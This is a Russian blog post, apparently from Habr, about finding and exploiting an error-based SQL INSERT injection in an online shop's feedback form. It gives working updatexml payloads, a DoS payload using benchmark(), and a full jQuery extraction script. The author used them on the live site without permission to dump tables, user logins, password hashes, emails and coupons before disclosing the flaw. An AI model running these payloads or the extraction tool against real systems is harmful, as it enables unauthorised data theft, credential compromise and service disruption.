Pull to refresh

SQL Insert Injection в одном интернет магазине

Reading time 13 min
Views 58K

Давно на Хабре не звучали истории про SQL injection. А уж рассказов из жизни про SQL INSERT injection вообще очень мало. Поэтому расскажу свою.
Лирическое вступление
Лирическое вступление

Всё началось с моего желания купить себе нечто недешёвое в разборном виде в интернет-магазине A.B.ru фирмы B. После оформления, связи с менеджером по электронной почте, получения посылки и обзора её содержимого оказалось, что некоторых метизов очень не хватает. Полного перечня всего необходимого не было, лишь список болтов, гаек и шайб. Я начал сборку, дойдя до того места, где без отсутствующих болтов уже никак не обойтись. Поэтому мною было скурпулёзно составлено описание не найденных метизов и выслано электронным письмом той же девушке-менеджеру, с которой мы общались. К чести магазина стоит сказать, что практически всё необходимое было выслано второй посылкой. Поэтому я начал сборку, загоняя в дальний угол своего разума опасения о том, что может отсутствовать что-то ещё. Но, дойдя до финишной прямой, оказалось, что примерно 1/4-ой часть устройства не хватает в принципе, судя по фотографиям из руководства и здравому смыслу. Поэтому за первым письмом о недокомплекте последовало второе, куда более обширное, а сборка отложена.
Когда прошла вторая неделя ожидания, мне удалось убедить себя в том, что девушка-менеджер вышла в отпуск. Поэтому я переслал ей письмо двухнедельной давности ещё раз и перешёл к поиску других каналов электронной связи — очень уж не хотелось звонить в Москву. В первую очередь тоже самое письмо было отправлено на общий эл-адрес A@B.ru, на что был получен мгновенный ответ: почтовый сервер отказывается принимать письмо из-за переполненного ящика получателя <мужик>@B.ru. Тогда была найдена форма обратной связи на сайте — последняя ниточка соединяющая меня на текущий момент с интернет-магазином. В первую очередь я описал проблему переполненного почтового ящика и вставил сообщение об отказе доставить письмо, которое содержало в себе одинарные кавычки…

Начало

На попытку отправить отчёт об ошибке через форму обратной связи, на пару секунд на странице появилась ошибка, в которой угадывался голос MySQL. Поэтому я открыл консоль браузера, повторил запрос и заглянул в ответ сервера:

Error displaying the error page: Application Instantiation Error: You have an error in your SQL syntax; at line 1 SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0',  '1', '0', '2015-08-04 11:36:37', '', 'Max', '<мой адрес>@gmail.com', '', 'текст, в котором упоминается адрес '<мужика>@B.ru' прямо в одинарных кавычках.', '', '2015-08-04 11:36:37', '0000-00-00 00:00:00', '0');

Итак, найдена SQL insert injection в интернет-магазине, которому я отдал свои кровные.
В первую очередь, я нашёл пару достойных материалов по теме. Самый интересный из них SQL Injection in Insert, Update and Delete Statements (Osanda Malith Jayathissa). Благодаря ему, взгляд упал на функцию updatexml, которая появилась в MySQL 5.1 (т.е. если не сработает, то можно будет сделать соответствующий вывод:
UpdateXML(xml_target, xpath_expr, new_xml)

Смысл использования функции в том, чтобы создать заранее неверный XPath Expression (второй аргумент). Для этого Osanda предлагает делать конкатенацию с символом "~". Что ж, проверяем в локальном MySQL:
mysql> select updatexml(1, '123', 0) from dual;
+------------------------+
| updatexml(1, '123', 0) |
+------------------------+
| NULL                   |
+------------------------+
1 row in set (0,00 sec)
mysql> select updatexml(1, '~123', 0) from dual;
ERROR 1105 (HY000): XPATH syntax error: '~123'

Да, работает. Теперь формируем тело сообщения для нашего магазина. Первый получившийся запрос выглядел так:
message' or updatexml(1,concat(0x7e,(version())),0) or '', '0000-00-00 00:00:00', '0000-00-00 00:00:00', '1');--'

Потом я немного подумал, и сократил его до:
' or updatexml(1,concat(0x7e,(version())),0) or '

Ответ интернет-магазина:
Error displaying the error page: Application Instantiation Error: XPATH syntax error: '~5.5.41-MariaDB-log' SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0',  '1', '0', '2015-08-04 12:39:12', '', 'Ken', 'ken@mailinator.com', '', '' or updatexml(1,concat(0x7e,(version())),0) or '', '', '2015-08-04 12:39:12', '0000-00-00 00:00:00', '0');

Сработало! Всё крутится на MariaDB 5.5. Отличия от MySQL минимальны, версия 5.5 поддерживает множество полезных операторов и функций. Пройдясь по типичным для подобных ситуаций данным, я вытащил следующую информацию:
version: 5.5.41-MariaDB-log
hostname: db-www
user: A@A.B.ru
database: A

Теперь можно попробовать выполнение полноценных SQL-запросов. В первую очередь, ради интереса, я написать такой:
' or updatexml(0, concat(0x7e,(SELECT password FROM mysql.user WHERE user='root')), 0) or '

Но, разумеется, получил отказ:
Error displaying the error page: Application Instantiation Error: SELECT command denied to user 'A'@'A.B.ru' for table 'user' SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0',  '1', '0', '2015-08-04 14:27:21', '', 'Ken', 'ken@mailinator.com', '', '' or updatexml(0, concat(0x7e,(SELECT password FROM mysql.user WHERE user='root')), 0) or '', '', '2015-08-04 14:27:21', '0000-00-00 00:00:00', '0');

Теперь нужно получить список таблиц в текущей БД. Для этого используем доступную с MySQL 5.0 мета-таблицу information_schema:
' or updatexml(0, concat(0x7e,(SELECT concat(table_schema, ':', table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0, 1)), 0) or '

Меняя первый параметр в операторе LIMIT, можно перебрать все текущие таблицы. Меня хватило на
первые 20 штук
    aa:cart
    aa:category
    aa:includes
    aa:items
    aa:layout
    aa:menu
    aa:aabb_ak_profiles
    aa:aabb_ak_stats
    aa:aabb_ak_storage
    aa:aabb_assets
    aa:aabb_associations
    aa:aabb_banner_clients
    aa:aabb_banner_tracks
    aa:aabb_banners
    aa:aabb_categories
    aa:aabb_com_feedback
    aa:aabb_com_photo_votes
    aa:aabb_com_photo_votes_comment
    aa:aabb_com_photo_votes_likes
    aa:aabb_com_wishlist


Решаю автоматизировать. Речь идёт об AJAX POST-запросе и на сайте включён jQuery. Нам нужно отправлять сразу несколько запросов — это асинхронная работа, так что я решил сразу подгрузить библиотеку async и попробовать с её помощью получить желаемый список таблиц. Получилась
не очень изящная функция создания и отсылки множества одновременных запросов
$.getScript('https://raw.githubusercontent.com/caolan/async/master/lib/async.js');

(function() {
    var ans_start = " '~", // Начало полезной информации в ответе сервера
        ans_stop = "' SQL=", // Конец полезной информации
        lim = 20,
        start_from = 0;
    
    // Куча одновременных AJAX-запросов
    async.times(lim, function(i, next) {
        var injection = "' or updatexml(0, concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit "+ (start_from + i) +", 1)), 0) or '";
        $.ajax({
            url: '/feedback/post.php',
            method: 'POST',
            data: $.param({
                data_email: 'undefined',
                data_email_body: 'undefined',
                data_email_subject: 'A B',
                type: 'feedback',
                name: 'Test',
                mail: 'test@mailinator.com',
                phone: '',
                feedbacktext: injection,
                else: '',
                recipient: 'A@B.ru',
                btn: ''
            }),
            success: function(resp) {
                next(null, resp.substring(resp.indexOf(ans_start) + ans_start.length, resp.indexOf(ans_stop)));
            },
            error: function(jqXHR, textStatus) {
                next(textStatus);
            }
        });
    }, function(err, results) {
        // Все результаты в конце одним скопом
        if (err) return console.error(err);
        window.INJ_RESULTS = results; // Опытным путём установил, что из консоли браузера не всегда удобно копировать данные, поэтому лучше привязать их к какой-нибудь глобальной переменной для пост-обработки
        console.log(results.join('\n')); // Вывод одной строкой во избежание проблем с копированием
    });
})();


Таким образом я получил список первых 20 таблиц, но понял, что одновременно посылать множество запросов нехорошо (на последние из них сервер отвечал в течении 20 секунд). Решил, что не стоит угрожать стабильности работы магазина и поменял функцию async.times на async.timesSeries, чтобы каждый следующий запрос отправлялся после получения ответа на предыдущий. Поменял параметр lim с 20 на 200 и ушёл за чашечкой чая. А когда вернулся, в моём распоряжении был
список всех таблиц
aa:cart
aa:category
<...>
aa:aabb_finder_links
aa:aabb_finder_links_terms0
aa:aabb_finder_links_terms1
<...>
aa:aabb_jcomments_votes
aa:aabb_jsecurelog
aa:aabb_jshopping_addons
<...>
aa:aabb_jshopping_coupons
<...>
aa:aabb_jshopping_shipping_meth
<...>
aa:aabb_jshopping_usergroups
aa:aabb_jshopping_users
<...>
aa:aabb_usergroups
aa:aabb_users
aa:aabb_viewlevels
aa:aabb_weblinks
aa:aabb_wf_profiles
aa:aabb_xmap_items
aa:aabb_xmap_sitemap
aa:modules
aa:orders
aa:oshibka
aa:params
aa:reviews
aa:slideshow
aa:users


Из этого списка стало понятно два факта: стоит Joomla и объем полезной информации ограничен 32-мя символов. Причём первых из них ("~") убрать мы не можем, значит у нас всего 31 символ. Что ж, не так уж мало. Было много интересных таблиц (3 таблицы *users и aabb_jshopping_coupons). Сначала я исследовал структуру таблицы users, модифицируя переменную injection:
' or updatexml(0, concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)), 0) or '

id, login, password, email, tel, name, firma, active, date, role

Потом её содержимое с помощью функции CONCAT_WS:
' or updatexml(0, concat(0x7e,(SELECT CONCAT_WS(':',id,login,password) FROM users LIMIT 0,1)), 0) or '

Но каждая запись получалась длинной ровно в 31 символ из-за избытка информации, поэтому сначала нужно было преодолеть это ограничение. Для этого я решил воспользоваться функцией SUBSTRING, а получение новой порции данных реализовать через рекурсию. В итоге получился
вот такой конструктор запросов `ajax93t411`.
$.getScript('https://raw.githubusercontent.com/caolan/async/master/lib/async.js');

// Константы, чтобы потом легче было
var ANS_START = " '~",
    ANS_STOP = "' SQL=",
    ANS_ERR = "Er",
    ANS_LIM = 31;

// Основная функция
// start_from и lim для путешествия по строчкам таблицы
// construct_req - функция, возвращающая строку с запросом
function ajax93t411(start_from, lim, construct_req) {
    // значения по умолчанию ня всякий случай
    start_from = start_from || 0;
    lim = lim || 1;

    // Запрос к серверу. i, offset - просто передаются в construct_req
    function req(i, offset, callback) {
        $.ajax({
            url: '/feedback/post.php',
            method: 'POST',
            data: $.param({
                data_email: 'undefined',
                data_email_body: 'undefined',
                data_email_subject: 'A B',
                type: 'feedback',
                name: 'Test',
                mail: 'test@mailinator.com',
                phone: '',
                feedbacktext: construct_req(start_from, i, offset),
                else: '',
                recipient: 'A@B.ru',
                btn: ''
            }),
            success: function(resp) {
                callback(null, resp.substring(resp.indexOf(ANS_START) + ANS_START.length, resp.indexOf(ANS_STOP)));
            },
            error: function(jqXHR, textStatus) {
                callback(textStatus);
            }
        });
    }

    // Если длина ответа получается равна 31, то делаем смещение и
    // ещё один запрос, суммируя результаты
    function constructReq(i, full_answer, offset, next) {
        req(i, offset, function(err, answer) {
            if (err) return next(err, full_answer);

            full_answer += answer;
            if (answer.length == ANS_LIM) {
                constructReq(i, full_answer, offset + ANS_LIM, next);
            } else {
                next(null, full_answer);
            }
        });
    }
    
    // Путешествуем по заданному количеству строк таблицы
    async.timesSeries(lim, function(i, next) {
        constructReq(i, '', 1, next);
    }, function(err, results) {
        if (err) return console.error(err);
        window.INJ_RESULTS = results;
        console.log(results.join(', '));
    });
}


По такому алгоритму данные будут вытягиваться ещё дольше, зато целиком и полностью. Теперь можно создавать сами запросы отдельно от общей логики:
function inj(start_from, i, offset) {
    return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',id,login,password,email), "+ offset +", "+ ANS_LIM +") FROM users LIMIT "+ (start_from + i) +",1)), 0) or '"
}
ajax93t411(0, 30, inj)

И первые 30 строк таблицы users в консоли браузера.
function inj(start_from, i, offset) {
    return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',username,email,password), "+ offset +", "+ ANS_LIM +") FROM aabb_users LIMIT "+ (start_from + i) +",1)), 0) or '"
}

ajax93t411(0, 30, inj)

Далее опишу лишь наиболее интересные моменты.
Купоны, в т.ч. для Хабра и Гиктаймс, оказались просроченными. Да и свою игрушку я уже купил.
function inj(start_from, i, offset) {
    return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',coupon_code,coupon_value,coupon_start_date,coupon_expire_date), "+ offset +", "+ ANS_LIM +") FROM aabb_jshopping_coupons LIMIT "+ (start_from + i) +",1)), 0) or '"
}

ajax93t411(0, 30, inj)


Все таблицы в полную длину для всех доступных баз данных:
function inj(start_from, i, offset) {
    return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':', table_schema, table_name), "+ offset +", "+ ANS_LIM +") FROM information_schema.tables LIMIT "+ (start_from + i) +", 1)), 0) or '"
}

ajax93t411(62, 100, inj); // Первые 62 - это сама information_schema
ajax93t411(162, 100, inj);

Как оказалось, не только интернет-магазин A.B.ru работает на Joomla, но и такой же магазин B.ru на ней же и на том же сервере. Но перспектив от исследования ещё одного сайта я не увидел. В конце концов, моей целью не было получение наживы. Поэтому я решил, что читать данные хорошо, но…

Можно ли что-нибудь записать?

Как оказалось, нет. Так как нам доступны только подзапросы. Решил, что стоит всё же попробовать работу с файлами. Но чтобы не навредить интернет-магазину своими неосторожными действиями, перенесу повествование на собственную машину, где провёл
некоторые опыты
Создаём простейшую таблицу:
mysql> create database test;
Query OK, 1 row affected (0,06 sec)

mysql> create table t(id int, msg text);
Query OK, 0 rows affected (0,70 sec)

mysql> insert into t values (1, 'msg');
Query OK, 1 row affected (0,06 sec)

mysql> select * from t;
+------+------+
| id   | msg  |
+------+------+
|    1 | msg  |
+------+------+
1 row in set (0,00 sec)

Попробуем имитировать SQL insert injection:
mysql> insert into t values (1, '' or updatexml(1, concat('~', version()), 0) or '');
ERROR 1105 (HY000): XPATH syntax error: '~5.6.25-0ubuntu0.15.04.1'

mysql> insert into t values (1, '' or updatexml(1, concat('~', '1234567890123456789012345678901234567890'), 0) or '');
ERROR 1105 (HY000): XPATH syntax error: '~1234567890123456789012345678901'

То же самое ограничение в 32 символа.

Попробуем вывод в файл:
mysql> select 1 from dual into outfile 'test.txt';
Query OK, 1 row affected (0,00 sec)

$ sudo ls -la /var/lib/mysql/test/
итого 124
drwx------  2 mysql mysql  4096 авг.  11 18:07 .
drwx------ 12 mysql mysql  4096 авг.  11 17:50 ..
-rw-rw----  1 mysql mysql    65 авг.  11 17:50 db.opt
-rw-rw-rw-  1 mysql mysql     2 авг.  11 18:07 test.txt
-rw-rw----  1 mysql mysql  8584 авг.  11 17:52 t.frm
-rw-rw----  1 mysql mysql 98304 авг.  11 17:52 t.ibd

mysql> insert into t values (1, '' or updatexml(1, concat('~', (select 1 from dual into outfile 'test.txt')), 0) or '');
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'into outfile 'test.txt')), 0) or '')' at line 1

Ожидаемо, но проверить стоило. Попробуем чтение файла. Так оно выглядит в нормальном виде:
mysql> LOAD DATA INFILE 'test.txt' into table t;
Query OK, 1 row affected, 1 warning (0,08 sec)
Records: 1  Deleted: 0  Skipped: 0  Warnings: 1

mysql> select * from t;
+------+------+
| id   | msg  |
+------+------+
|    1 | msg  |
|    1 | NULL |
+------+------+
2 rows in set (0,00 sec)

Но внутри INSERT INTO тоже не работает:
mysql> insert into t values (1, '' or updatexml(1, concat('~', (LOAD DATA INFILE 'test.txt' into table t)), 0) or '');
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LOAD DATA INFILE 'test.txt' into table t)), 0) or '')' at line 1
mysql> insert into t values (1, '' or updatexml(1, concat('~', (LOAD DATA INFILE 'test.txt')), 0) or '');
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LOAD DATA INFILE 'test.txt')), 0) or '')' at line 1

В любом случае, применительно к интернет-магазину, полные пути к сайту мне неизвестны, чтобы, например, создать PHP Shell.


Написал в интернет-магазин
Письмо
Здравствуйте.

Случайно обнаружил ошибку на вашем сайте.
Страница A.B.ru<путь>, форма обратной связи.
Если заполнить имя и e-mail, а в теле сообщения использовать символ одинарной кавычки ('), то после нажатия на «Отправить» на экране на некоторое время будет выведена ошибка от используемой СУБД. Если вчитаться и откорректировать текст сообщения, то можно получить любую хранящуюся в БД информацию.

Предлагаю как можно скорее исправить ошибку, проверить все написанные программистом модули/страницы на наличие подобных проблем и закрыть данный источник проблем.
Получил
ответ
Добрый день, Максим.

Спасибо за Ваше замечание, учтём

С уважением,
A B
Подумав, отправил
ещё одно письмо
Если не возражаете, я бы описал свой «спортивный интерес» в статье без ссылок прямых и косвенных на сайт и фирму, разумеется. Сообщите пожалуйста, когда проблема будет исправлена, на всякий случай.


День следующий

Ответа на второе письмо нет. Ну и ладно. Ровно через сутки зашёл на ту же страницу с формой обратной связи. Теперь в поле ввода фильтруются все спец. символы, разумеется, на стороне клиента. Что ж, молодцы, остаётся надеяться, что это просто заплатка на время исправления реальных ошибок. А пока решил продолжить исследования — хочется разобраться до конца.

Как оказалось, полезная часть текста об ошибке в ответе от MariaDB не всегда 32 символа. При попытке получить текст на русском получается выудить лишь 16 символов. Проверил на MySQL — то же самое. Значит, ограничение не в 32 символа, а в 32 байта. Что ж, переделал утилиту ajax93t411:
ajax93t411.js
var ANS_START = " '~",
    ANS_STOP = "' SQL=",
    ANS_LIM = 31;

function ajax93t411(start_from, lim, construct_req) {
    start_from = start_from || 0;
    lim = lim || 1; // Can be -1. -1 if for "while no Err"

    function req(i, offset, callback) {
        $.ajax({

            //-- All this params is for customization. Feel free
            url: '/feedback/post.php',
            method: 'POST',
            data: $.param({
                data_email: 'undefined',
                data_email_body: 'undefined',
                data_email_subject: 'A B',
                type: 'feedback',
                name: 'Test',
                mail: 'test@mailinator.com',
                phone: '',
                feedbacktext: construct_req(start_from, i, offset), // Don't forget about this function to include
                else: '',
                recipient: 'A@B.ru',
                btn: ''
            }
            //---
            ),
            success: function(resp) {
                var answer = resp.substring(resp.indexOf(ANS_START) + ANS_START.length, resp.indexOf(ANS_STOP));
                if (answer == ANS_ERR) {
                    callback(answer);
                } else {
                    callback(null, answer);
                }
            },
            error: function(jqXHR, textStatus) {
                callback(textStatus);
            }
        });
    }

    function constructReq(i, full_answer, offset, next) {
        req(i, offset, function(err, answer) {
            if (err) return next(err, full_answer);

            full_answer += answer;
            if (answer.length > 0) {
                constructReq(i, full_answer, offset + answer.length, next);
            } else {
                $('body').append('<p>'+ full_answer +'</p>'); // Include each new result into webpage of target site. Just for usability.
                next(null, full_answer);
            }
        });
    }

    function timesSeries(lim, i, results, callback) {
        if (i < lim) {
            constructReq(i, '', 1, function(err, answer) {
                if (err) return callback(err, results);
                results.push(answer);
                timesSeries(lim, i + 1, results, callback);
            });
        } else {
            callback(null, results);
        }
    }

    function untilErrSeries(i, results, callback) {
        constructReq(i, '', 1, function(err, answer) {
            if (err) return callback(err, results);
            results.push(answer);
            untilErrSeries(i + 1, results, callback);
        });
    }

    function complete(err, results) {
        if (err) console.error(err);
        window.INJ_RESULTS = results; // Keep all results into the global variable. Just for usability.
        console.log('Done');
    }

    $('body').append('<p><b>New Request!</b></p>');
    if (lim > 0) {
        timesSeries(lim, 0, [], complete);
    } else { // lim < 0
        untilErrSeries(0, [], complete);
    }
}


Теперь программа не зависит от константной длины, а продолжает искать конец строки, пока не будет возвращена ошибка (т.е. ответ с текстом ошибки не в том формате, в котором программа его ожидает). Да, чуть больше запросов. Зато нет проблемы с текстами в не latin кодировках. Кроме того, избавился от зависимости от библиотеки async (она присутствовала для скорости разработки и апробирования результатов). А так же добавил возможность не задавать конкретное количество строк в таблице, которые нужно получить, а рекурсивно получать все доступные (до ошибки). А так же добавил вывод результатов работы прямо на страницу сайта, чтобы легче было просматривать.

Возможны ли ужасные последствия такой уязвимости?

Как мы уже выяснили, записать что-то в файл или читать из него не получится даже если у пользователя есть на то права. Зато у нас в кармане таблицы с паролями и эл. адресами всех пользователей и администраторов. Лично я подбирать их и входить на сайт даже не пытался — мне это ни к чему. Тем не менее, можно констатировать факт возможности чтения любой информации из текущей базы данных, а в нашем случае и из соседней.
Другая открываемая подобной уязвимость возможность — это атака DoS, например, вот такой подстановкой:
' or updatexml(0, concat(0x7e,(select benchmark(10000000000000000000000000000000000000000000000, encode('hello', 'world')))), 0) or '


Через неделю

Решил написать
ещё одно письмо
Добрый день.

Вы же понимаете, что текущая заплатка не устраняет уязвимости?

Ответа как и раньше не последовало.

P.S.: Статья опубликована через 13 дней с момента обнаружения уязвимости. Представители интернет-магазина на связь не выходят.
Tags:
Hubs:
+39
Comments 27
Comments Comments 27

Articles